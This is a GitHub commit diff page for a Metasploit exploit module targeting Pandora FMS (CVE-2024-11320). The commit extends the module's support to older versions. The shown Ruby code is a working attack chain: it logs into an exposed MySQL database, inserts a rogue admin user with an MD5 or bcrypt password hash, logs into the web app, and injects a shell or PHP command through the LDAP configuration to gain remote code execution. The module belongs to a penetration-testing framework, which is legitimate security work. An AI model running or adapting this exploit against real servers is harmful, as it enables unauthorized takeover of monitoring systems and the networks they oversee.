Skip to content

Commit

Permalink
Second release after testing multiple Pandora FMS versions
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die-gr3y committed Dec 20, 2024
1 parent 2fe0b35 commit cf5b26d
Showing 1 changed file with 38 additions and 23 deletions.
61 changes: 38 additions & 23 deletions modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
##

require 'rex/proto/mysql/client'
require 'digest/md5'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
Expand All @@ -30,7 +31,7 @@ def initialize(info = {})
allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
administrative access to the Pandora FMS Web application. This attack can be remotely executed
over the WAN as long as the MySQL services are exposed to the outside world.
This issue affects Pandora FMS Community, Free and Enterprise edition: from 700 through <= 777.4
This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module & default password weakness
Expand Down Expand Up @@ -107,6 +108,9 @@ def mysql_login(host, user, password, db, port)
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
print_error('Access denied')
return false
rescue StandardError => e
print_error("Unknown error: #{e.message}")
return false
end
true
end
Expand All @@ -122,6 +126,9 @@ def mysql_query(sql)
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
return false
rescue StandardError => e
print_error("Unknown error: #{e.message}")
return false
end
res
end
Expand All @@ -130,6 +137,8 @@ def mysql_query(sql)
# return true if login successful else false
def pandora_login(name, pwd)
# first login GET request to get csrf code
# in older versions of Pandora FMS this csrf code is not implemented
# but for the sake of simplicity we still execute this GET request
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
Expand All @@ -142,13 +151,12 @@ def pandora_login(name, pwd)

# scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
html = res.get_html_document
csrf_code = html.at('input[@id="hidden-csrf_code"]')
vprint_status("csrf_code: #{csrf_code}")
return if csrf_code.nil? || csrf_code.blank?

# return if csrf_code&.text.to_s.strip.empty?
csrf_code_html = html.at('input[@id="hidden-csrf_code"]')
vprint_status("csrf_code: #{csrf_code_html}")
csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank?

# second login POST request using the csrf code
# csrf_code can be nil in older versions where the csrf_code is not implemented
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
Expand All @@ -160,16 +168,18 @@ def pandora_login(name, pwd)
'nick' => name,
'pass' => pwd,
'Login_button' => "Let's go",
'csrf_code' => csrf_code.attribute_nodes[3]
'csrf_code' => csrf_code
}
})
return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"')
return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
end

# CVE-2024-11320: Misconfigure LDAP with RCE payload
# return true if successful else false
def configure_ldap(payload)
# first LDAP GET request to get the csrf_code
# in older versions of Pandora FMS this csrf code is not implemented
# but for the sake of simplicity we still execute this GET request
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
Expand All @@ -184,13 +194,12 @@ def configure_ldap(payload)

# scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
html = res.get_html_document
csrf_code = html.at('input[@id="hidden-csrf_code"]')
vprint_status("csrf_code: #{csrf_code}")
return if csrf_code.nil? || csrf_code.blank?

# return if csrf_code&.text.to_s.strip.empty?
csrf_code_html = html.at('input[@id="hidden-csrf_code"]')
vprint_status("csrf_code: #{csrf_code_html}")
csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank?

# second LDAP POST request using the csrf_code
# csrf_code can be nil in older versions where the csrf_code is not implemented
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
Expand All @@ -202,7 +211,7 @@ def configure_ldap(payload)
},
'vars_post' => {
'update_config' => 1,
'csrf_code' => csrf_code.attribute_nodes[3],
'csrf_code' => csrf_code,
'auth' => 'ldap',
'fallback_local_auth' => 1,
'fallback_local_auth_sent' => 1,
Expand Down Expand Up @@ -237,12 +246,6 @@ def configure_ldap(payload)
# CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration
def execute_command(cmd, _opts = {})
# modify php payload to trigger the RCE
# if target['Type'] == :php_cmd
# php_cmd = cmd.gsub(/'/, '"')
# payload = "';php -r " + "\'#{php_cmd}\'" + ' #'
# else
# payload = "';" + cmd + ' #'
# end
payload = "';#{target['Type'] == :php_cmd ? "php -r'#{cmd.gsub(/'/, '"')}'" : cmd} #"

# misconfigure LDAP settings with RCE payload
Expand Down Expand Up @@ -303,8 +306,8 @@ def check
return CheckCode::Detected('Could not determine the Pandora FMS version.')
end

version = Rex::Version.new version
unless version >= Rex::Version.new('7.0.700') && version <= Rex::Version.new('7.0.777.4')
version = Rex::Version.new(version)
unless version >= Rex::Version.new('7.0.718') && version <= Rex::Version.new('7.0.777.4')
return CheckCode::Safe("Pandora FMS version #{full_version}")
end

Expand All @@ -326,7 +329,17 @@ def exploit
# add a new admin user
@username = Rex::Text.rand_text_alphanumeric(5..8).downcase
@password = Rex::Text.rand_password
password_hash = Password.create(@password)

# check the password hash algorithm by reading the password hash of the admin user
# new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_user = 'admin';")
fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1
hash = mysql_query_res.fetch_hash
if hash['password'].match(/^\$2.\$/)
password_hash = Password.create(@password)
else
password_hash = Digest::MD5.hexdigest(@password)
end
print_status("Creating new admin user with credentials #{@username}:#{@password} for access at the Pandora FMS Web application.")
mysql_query_res = mysql_query("INSERT INTO tusuario (id_user, password, is_admin) VALUES (\'#{@username}\', \'#{password_hash}\', '1');")
fail_with(Failure::BadConfig, "Adding new admin credentials #{@username}:#{@password} to the database failed.") if mysql_query_res == false
Expand All @@ -345,6 +358,8 @@ def exploit
case target['Type']
when :unix_cmd, :php_cmd
execute_command(payload.encoded)
else
fail_with(Failure::BadConfig, "Unsupported target type: #{target['Type']}.")
end
end
end

0 comments on commit cf5b26d

Please sign in to comment.